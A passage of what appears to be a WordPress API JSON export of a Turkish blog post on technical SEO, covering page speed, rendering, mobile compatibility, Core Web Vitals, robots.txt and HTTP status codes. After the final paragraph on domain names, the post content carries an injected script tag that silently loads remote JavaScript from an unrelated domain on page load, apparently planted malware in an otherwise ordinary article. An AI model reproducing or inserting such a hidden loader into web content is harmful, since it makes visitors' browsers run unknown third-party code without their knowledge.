indirilmelerini sa\u011flar.<\/li>\n<li><strong>Minifikasyon (K\u00fc\u00e7\u00fcltme):<\/strong> HTML, CSS ve JavaScript dosyalar\u0131n\u0131n boyutlar\u0131n\u0131 k\u00fc\u00e7\u00fcltmek i\u00e7in gereksiz bo\u015fluk ve karakterleri kald\u0131r\u0131r.<\/li>\n<\/ul>\n<ul>\n<li><strong>Lazy Loading:<\/strong> Sayfa y\u00fcklendi\u011finde g\u00f6r\u00fcnen i\u00e7erik d\u0131\u015f\u0131ndaki medyalar\u0131n\u0131n y\u00fckleme s\u00fcresini geciktirerek genel sayfa y\u00fcklenme h\u0131z\u0131n\u0131 artt\u0131r\u0131r.<\/li>\n<li><strong>Resim Optimizasyonu:<\/strong> Kalite ve boyut taleplerinize g\u00f6re lossy veya lossless compression ile y\u00fcksek \u00e7\u00f6z\u00fcn\u00fcrl\u00fckl\u00fc resimleri s\u0131k\u0131\u015ft\u0131rabilirsiniz. Ayr\u0131ca resimleriniz i\u00e7in do\u011fru format\u0131 se\u00e7melisiniz.<\/li>\n<li><strong>Video S\u0131k\u0131\u015ft\u0131rma:<\/strong> Videolar\u0131 daha h\u0131zl\u0131 y\u00fcklenen formatlara d\u00f6n\u00fc\u015ft\u00fcrebilir ve s\u0131k\u0131\u015ft\u0131rabilirsiniz.<\/li>\n<\/ul>\n<blockquote><p><a href=\"https:\/\/roible.com\/tr\/web-site-hizlandirma\/\">Web sitenizi h\u0131zland\u0131rmak i\u00e7in bir kaynak ar\u0131yorsan\u0131z buraya t\u0131klayabilirsiniz.<\/a><\/p><\/blockquote>\n<h3><span class=\"ez-toc-section\" id=\"Rendering_Sistemleri\"><\/span>Rendering Sistemleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Arama motoru taray\u0131c\u0131lar\u0131 web sitelerinin JavaScript ile yaz\u0131lm\u0131\u015f kodlar\u0131n\u0131 tararken iki farkl\u0131 rendering sisteminden birini kullan\u0131r: SSR veya CSR.<\/p>\n<h4>Server Side Rendering (SSR)<\/h4>\n<p>SSR olarak k\u0131salt\u0131lan Sunucu Tarafl\u0131 Render, pop\u00fcler bir render y\u00f6ntemidir. Bu y\u00f6ntemde kullan\u0131c\u0131n\u0131n bir sayfay\u0131 g\u00f6rme talebi sunucuya iletilir ve sunucu taraf\u0131ndan cevaplan\u0131r. Web sayfas\u0131n\u0131n i\u00e7eri\u011fi sunucu taraf\u0131ndan olu\u015fturulur ve taray\u0131c\u0131ya g\u00f6nderilir. Taray\u0131c\u0131n\u0131n i\u015fi ise daha azd\u0131r, ona g\u00f6nderilen web siteyi g\u00f6sterir. SEO ve y\u00fcklenme h\u0131z\u0131 a\u00e7\u0131s\u0131ndan genellikle SSR daha ba\u015far\u0131l\u0131d\u0131r.<\/p>\n<h4>Client Side Rendering (CSR)<\/h4>\n<p>\u0130stemci Tarafl\u0131 Render daha yeni bir y\u00f6ntemdir. CSR\u2019da JavaScript y\u00fcklemesinden taray\u0131c\u0131 sorumlu tutulur. Sunucu gerekli dosyalar\u0131 taray\u0131c\u0131ya g\u00f6nderir ve taray\u0131c\u0131 kullan\u0131c\u0131n\u0131n ekran\u0131nda HTML dosyas\u0131n\u0131 olu\u015fturup g\u00f6sterir.<\/p>\n<p>CSR ile ilk y\u00fcklenme h\u0131z\u0131 daha yava\u015f olsa da, sunucu \u00fczerindeki y\u00fck\u00fc azaltt\u0131\u011f\u0131 i\u00e7in yine de tercih edilebilir. Ayr\u0131ca dinamik sayfalarda i\u00e7erik t\u00fcm sayfan\u0131n yinelenmesine gerek kalmadan g\u00f6sterilebilir. Bu da kullan\u0131c\u0131 deneyimini geli\u015ftirecektir.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Mobil_Uyumluluk\"><\/span>Mobil Uyumluluk<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Mobile uyumlu web siteleri daha \u00fcst s\u0131ralamalara sahip olabilir. Bu nedenle web siteleri duyarl\u0131 (responsive) ve farkl\u0131 ekran boyutlar\u0131n\u0131 destekleyecek \u015fekilde tasarlanmal\u0131d\u0131r. Ayr\u0131ca \u00e7o\u011fu arama motoru mobildeki web site performans\u0131na da odaklan\u0131r.<\/p>\n<p>Web sitenizin mobil uyumluluk konusunda ne kadar ba\u015far\u0131l\u0131 oldu\u011funu tek t\u0131k ile \u00f6l\u00e7ebilirsiniz. Google Search Console gibi ara\u00e7lar size<a href=\"https:\/\/search.google.com\/test\/mobile-friendly?hl=tr\" rel=\"nofollow noopener\" target=\"_blank\"> mobil uyumluluk testi<\/a> ile yard\u0131mc\u0131 olacakt\u0131r.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"CSSJavaScript\"><\/span>CSS\/JavaScript<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>CSS ve JavaScript kodlar\u0131nda duyarl\u0131 tasar\u0131m\u0131 dikkate almak mobil uyumluluk i\u00e7in \u015fartt\u0131r. Medya sorgular\u0131, flexbox, grid layout gibi \u00f6zellikler i\u00e7eri\u011finizin farkl\u0131 ekran boyutlar\u0131na uyumlu g\u00f6z\u00fckmesini sa\u011flayacakt\u0131r.<\/p>\n<p>Ayr\u0131ca, navigasyonu basitle\u015ftirmek mobil kullan\u0131c\u0131lar\u0131n memnuniyetini artt\u0131racakt\u0131r. Men\u00fcleri basitle\u015ftirerek ve yaz\u0131lar\u0131 okunabilir tutarak mobil dostu bir web site elde edebilirsiniz.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"AMP_Accelerated_Mobile_Pages\"><\/span>AMP (Accelerated Mobile Pages)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>AMP yani H\u0131zland\u0131r\u0131lm\u0131\u015f Mobil Sayfalar, daha iyi bir mobil deneyimi sunmak amac\u0131 ile kullan\u0131lan bir y\u00f6ntemdir. \u00d6nbellekleme, minimize edilmi\u015f CSS ve s\u0131n\u0131rl\u0131 Javascript gibi \u00f6zellikleri ile mobil sayfalar\u0131n h\u0131z\u0131n\u0131 artt\u0131r\u0131r. Ayr\u0131ca AMP optimizasyon i\u00e7in \u00f6zel HTML etiketleri i\u00e7erir. Mobile uygun URL yap\u0131land\u0131rmas\u0131na da sahiptir.<\/p>\n<p>Google\u2019\u0131n AMP hakk\u0131ndaki rehberine ula\u015fmak i\u00e7in<a href=\"https:\/\/developers.google.com\/search\/docs\/crawling-indexing\/amp?hl=tr\" rel=\"nofollow noopener\" target=\"_blank\"> bu linke<\/a> t\u0131klayabilirsiniz.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"PWA_Progressive_Web_Apps\"><\/span>PWA (Progressive Web Apps)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>PWA modern web teknolojileri ile geli\u015ftirilen, hem taray\u0131c\u0131 hem de mobil cihazlarda uygulama gibi \u00e7al\u0131\u015fabilen web uygulamalar\u0131d\u0131r. PWA teknolojisi bir mobil uygulamas\u0131 geli\u015ftirmek ile kar\u015f\u0131la\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda \u00e7ok daha az zaman ve b\u00fct\u00e7e gerektirdi\u011fi i\u00e7in avantajl\u0131d\u0131r. PWA\u2019lar, \u00e7evrimd\u0131\u015f\u0131 eri\u015fim, geleneksel web sitelerinden daha y\u00fcksek performans ve daha iyi kullan\u0131c\u0131 deneyimi gibi faydalar sunar. Tek s\u0131n\u0131rlamas\u0131 ise kullan\u0131c\u0131lar\u0131n\u0131n g\u00fcncel bir taray\u0131c\u0131 kullanmas\u0131d\u0131r.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Core_Web_Vitals_CWV\"><\/span>Core Web Vitals (CWV)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Google taraf\u0131ndan geli\u015ftirilen web site performans\u0131n\u0131 de\u011ferlendiren \u00f6l\u00e7\u00fcm standard\u0131na Web Vitals denir. CWV ise Web Vitals kapsam\u0131ndaki \u00fc\u00e7 ana metri\u011fi ifade eder, bu \u00fc\u00e7 metrik:<\/p>\n<ol>\n<li><strong>Largest Contentful Paint (LCP):<\/strong> Sayfadaki ana i\u00e7eri\u011fin y\u00fcklenme h\u0131z\u0131n\u0131 \u00f6l\u00e7er. \u0130deal olarak video gibi medya \u00f6\u011feleri dahil y\u00fcklenme 2.5 saniyeden az olmal\u0131d\u0131r.<\/li>\n<li><strong>First Input Delay (FID):<\/strong> FID, bir kullan\u0131c\u0131n\u0131n etkile\u015fimine kar\u015f\u0131l\u0131k tepki alma s\u00fcresini \u00f6l\u00e7er. \u0130deal olarak bir kullan\u0131c\u0131 ilk etkile\u015fiminden 100 milisaniye veya daha az s\u00fcre sonra yan\u0131t almal\u0131d\u0131r.<\/li>\n<li><strong>Cumulative Layout Shift (CLS):<\/strong> CLS, bir sayfan\u0131n y\u00fcklenme s\u00fcrecindeki d\u00fczen de\u011fi\u015fikli\u011fini \u00f6l\u00e7er. Farkl\u0131 \u00f6\u011feler farkl\u0131 y\u00fcklenme s\u00fcrelerine sahip olduklar\u0131 i\u00e7in sayfalarda beklenmedik konum de\u011fi\u015fiklikleri ile kar\u015f\u0131la\u015f\u0131labilir. CLS, sayfada kullan\u0131c\u0131n\u0131n yanl\u0131\u015f bir istekte bulunmas\u0131na sebep olacak bir \u00f6\u011fe olup olmad\u0131\u011f\u0131n\u0131 de\u011ferlendirir ve ideal olarak 0.1 alt\u0131nda bir de\u011fer beklenir.<\/li>\n<\/ol>\n<blockquote><p><a title=\"Core Web Vitals puanlar\u0131 \u00f6l\u00e7\u00fcm\u00fc\" href=\"https:\/\/search.google.com\/search-console\/core-web-vitals\" target=\"_blank\" rel=\"nofollow noopener\">Web Vitals puanlar\u0131n\u0131z\u0131 \u00f6l\u00e7mek<\/a> ve de\u011ferlendirmek i\u00e7in Search Console&#8217;dan faydalanabilirsiniz.<\/p><\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"Robotstxt\"><\/span>Robots.txt<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Robots.txt dosyas\u0131, arama motoruna sitenizin hangi b\u00f6l\u00fcmlerine tarama yap\u0131p yapamayaca\u011f\u0131n\u0131 belirtir. Robot.txt dosyas\u0131nda taranmas\u0131n\u0131 istedi\u011finiz veya istemedi\u011finiz sayfalar\u0131 belirterek taray\u0131c\u0131lara yol g\u00f6stermeniz gereklidir.<\/p>\n<p>G\u00f6r\u00fcn\u00fcrl\u00fck i\u00e7in indekslenme hayati bir ad\u0131md\u0131r, bu nedenle robot.txt dosyan\u0131z\u0131n sitenizi do\u011fru yans\u0131tmas\u0131 \u00f6nemlidir. Bu dosya, taranmas\u0131n\u0131n \u00f6ncelikli oldu\u011fu sayfalar\u0131 i\u00e7ermelidir. Robot.txt dosyas\u0131nda farkl\u0131 komutlar kullan\u0131labilir. Fakat en temel olarak \u201callow\u201d komutu ile taranmas\u0131 ve dizine eklenmesi istenen sayfalar belirlenir. \u201cDisallow\u201d komutu ile ise sayfan\u0131n taranmas\u0131 ve eklenmesi engellenir.<\/p>\n<p>Web sitenizdeki her sayfa kullan\u0131c\u0131lar i\u00e7in faydal\u0131 olmayabilir, kullan\u0131c\u0131 deneyimini geli\u015ftirmek i\u00e7in de bu sayfalar\u0131 robot.txt ile gizleyebilirsiniz. Robots.txt hakk\u0131nda daha detayl\u0131 bilgi edinmek i\u00e7in <a href=\"https:\/\/developers.google.com\/search\/docs\/crawling-indexing\/robots\/intro?hl=tr\" rel=\"nofollow noopener\" target=\"_blank\">Google\u2019\u0131n kayna\u011f\u0131ndan<\/a> yararlanabilirsiniz.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Site_Ici_Baglantilar\"><\/span>Site \u0130\u00e7i Ba\u011flant\u0131lar<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Site i\u00e7i ba\u011flant\u0131lar ile web sitesinde sayfalar aras\u0131 ba\u011flant\u0131 kurabilirsiniz. Site i\u00e7i ba\u011flant\u0131lar arama motorlar\u0131n\u0131n sayfalar\u0131n hiyerar\u015fisini anlamas\u0131 i\u00e7in \u00f6nemlidir. Ayr\u0131ca kullan\u0131c\u0131lar\u0131 web sitenizde daha uzun s\u00fcre tutman\u0131s\u0131 sa\u011flar. Ziyaret\u00e7ilerin olas\u0131 sorular\u0131n\u0131 site i\u00e7i ba\u011flant\u0131lar ile cevaplayarak kullan\u0131c\u0131 memnuniyetini artt\u0131rabilirsiniz.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"HTTP_Durum_Kodlari_ve_URL_Yonlendirmeleri\"><\/span>HTTP Durum Kodlar\u0131 ve URL Y\u00f6nlendirmeleri<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>HTTP durum kodlar\u0131, sunucudan gelen uyar\u0131 ve notlard\u0131r. Farkl\u0131 durum kodlar\u0131n\u0131 tan\u0131mak teknik aksakl\u0131klarda kullan\u0131\u015fl\u0131 olacakt\u0131r.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"100ler_ve_200ler\"><\/span>100&#8217;ler ve 200&#8217;ler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>100 ve 200\u2019lerdeki durum kodlar\u0131 bilgilendirici ve ba\u015far\u0131y\u0131 belirten kodlard\u0131r. 100\u2019ler taray\u0131c\u0131 iste\u011finin al\u0131nd\u0131\u011f\u0131n\u0131 ve iste\u011fin devam etti\u011fini g\u00f6sterir. 200\u2019ler ise bu talebin ba\u015far\u0131 ile anla\u015f\u0131l\u0131p kabul edildi\u011fini belirtir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"300ler_URL_Yonlendirmeleri\"><\/span>300&#8217;ler URL Y\u00f6nlendirmeleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>300\u2019ler y\u00f6nlendirme kodlar\u0131 olarak tan\u0131mlan\u0131r. \u0130stenilen i\u00e7erik i\u00e7in art\u0131k yeni bir kaynak kullan\u0131ld\u0131\u011f\u0131 i\u00e7in y\u00f6nlendirme gerekti\u011fini belirtir. \u00d6rne\u011fin<\/p>\n<ul>\n<li><strong>301:<\/strong> Web sayfas\u0131n\u0131n kal\u0131c\u0131 olarak y\u00f6nlendirildi\u011fini g\u00f6sterir.<\/li>\n<li><strong>302:<\/strong> Web sayfas\u0131n\u0131n ge\u00e7ici s\u00fcreyle y\u00f6nlendirildi\u011fini ifade eder.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"400ler\"><\/span>400&#8217;ler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>400\u2019ler talepte bir sorun oldu\u011funu belirten durum kodlar\u0131d\u0131r. Farkl\u0131 sorunlara kar\u015f\u0131l\u0131k gelen 400 durum kodlar\u0131 bulunmaktad\u0131r:<\/p>\n<ul>\n<li><strong>400:<\/strong> Bir talebin taray\u0131c\u0131 nedeniyle sunucu taraf\u0131ndan ger\u00e7ekle\u015ftirilemedi\u011fini g\u00f6sterir.<\/li>\n<li><strong>403:<\/strong> Kullan\u0131c\u0131n\u0131n eri\u015fim izni olmad\u0131\u011f\u0131n\u0131 ya da i\u00e7eri\u011fin yasakland\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/li>\n<li><strong>404:<\/strong> Sunucuda web sayfas\u0131n\u0131n bulunmad\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/li>\n<li><strong>410:<\/strong> Sunucuda talep edilen web sayfas\u0131n\u0131n kesin ve kal\u0131c\u0131 olarak bulunmad\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"500ler\"><\/span>500&#8217;ler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Sunucunun normalde ger\u00e7ekle\u015ftirebildi\u011fi bir talebin hata sonucu yerine getirilememesi ile 500\u2019ler ortaya \u00e7\u0131kar. Hataya g\u00f6re farkl\u0131 500 durum kodlar\u0131 ile kar\u015f\u0131la\u015f\u0131labilir:<\/p>\n<ul>\n<li><strong>500:<\/strong> Sunucu nedeniyle talebin ger\u00e7ekle\u015ftirilemedi\u011fini g\u00f6sterir.<\/li>\n<li><strong>502:<\/strong> Sunucu farkl\u0131 bir sunucudan olumsuz yan\u0131t ald\u0131\u011f\u0131 i\u00e7in sorun olu\u015ftu\u011funu g\u00f6sterir.<\/li>\n<li><strong>503:<\/strong> Sunucunun yo\u011fun ya da bak\u0131mda oldu\u011funu g\u00f6sterir.<\/li>\n<li><strong>504:<\/strong> \u00c7o\u011funlukla sunucu taraf\u0131ndan kaynaklanan teknik bir sorun oldu\u011funu g\u00f6sterir.<\/li>\n<li><strong>509:<\/strong> Sunucunun ayl\u0131k hosting trafik limitini doldurdu\u011funu g\u00f6sterir.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Alan_Adi_Tercihi\"><\/span>Alan Ad\u0131 Tercihi<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Alan ad\u0131 birka\u00e7 y\u0131l \u00f6ncesi ile kar\u015f\u0131la\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda art\u0131k ayn\u0131 \u00f6nemi ta\u015f\u0131mamakta. Eskiden daha k\u0131sa alan adlar\u0131 tercih edilse de g\u00fcn\u00fcm\u00fczde uzunluk b\u00fcy\u00fck bir fakt\u00f6r de\u011fil. Ancak ak\u0131lda kal\u0131c\u0131 ve \u00f6zg\u00fcn bir ada sahip olman\u0131z m\u00fc\u015fterilerinizin sizi bulmas\u0131n\u0131 veya hat\u0131rlamas\u0131n\u0131 kolayla\u015ft\u0131rabilir.<\/p>\n<p>Benzer \u015fekilde alan ad\u0131 uzant\u0131lar\u0131 da lokal SEO yerine kullan\u0131c\u0131 a\u00e7\u0131s\u0131ndan daha \u00f6nemli. .com, .net ve .org genellikle daha yayg\u0131n kullan\u0131lan uzant\u0131lard\u0131r. Fakat kullan\u0131c\u0131lara g\u00fcvenilirli\u011finizi yans\u0131tman\u0131n d\u0131\u015f\u0131nda SEO\u2019ya bir etkisi yoktur. Ancak uluslararas\u0131 SEO \u00e7al\u0131\u015fmalar\u0131 yapan bir \u015firket iseniz lokasyona ba\u011fl\u0131 olan alan uzant\u0131lar\u0131na dikkat etmenizi tavsiye ederiz. \u00d6rne\u011fin .tr T\u00fcrkiye\u2019ye ba\u011fl\u0131 bir alan ad\u0131 uzant\u0131s\u0131d\u0131r. Hedef kitleniz ve alan ad\u0131 uzant\u0131s\u0131n\u0131n paralel olmas\u0131 uluslararas\u0131 SEO\u2019da ka\u00e7\u0131n\u0131lmaz bir p\u00fcf noktad\u0131r.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Teknik SEO, bir web sitesinin arama motorundaki performans\u0131n\u0131 artt\u0131rmak ad\u0131na yapt\u0131\u011f\u0131 site i\u00e7i optimizasyon \u00e7al\u0131\u015fmalar\u0131n\u0131n genel ad\u0131d\u0131r. Teknik SEO, genellikle bir web sitesinin arama motorlar\u0131 taraf\u0131ndan daha net anla\u015f\u0131lmas\u0131n\u0131 ve indekslenmesini sa\u011flayacak teknik unsurlara odaklan\u0131r. Fakat kullan\u0131c\u0131 memnuniyetini art\u0131racak \u00f6\u011feleri de i\u00e7erir. Teknik SEO, i\u00e7erik kalitesi, ba\u011flant\u0131lar gibi di\u011fer SEO \u00e7al\u0131\u015fmalar\u0131 ile birlikte \u00e7al\u0131\u015farak arama [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":28159,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[144,1],"tags":[],"class_list":["post-28151","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seo-blog","category-tips"],"_links":{"self":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28151","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/comments?post=28151"}],"version-history":[{"count":1,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28151\/revisions"}],"predecessor-version":[{"id":30461,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28151\/revisions\/30461"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/media\/28159"}],"wp:attachment":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/media?parent=28151"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/categories?post=28151"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/tags?post=28151"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}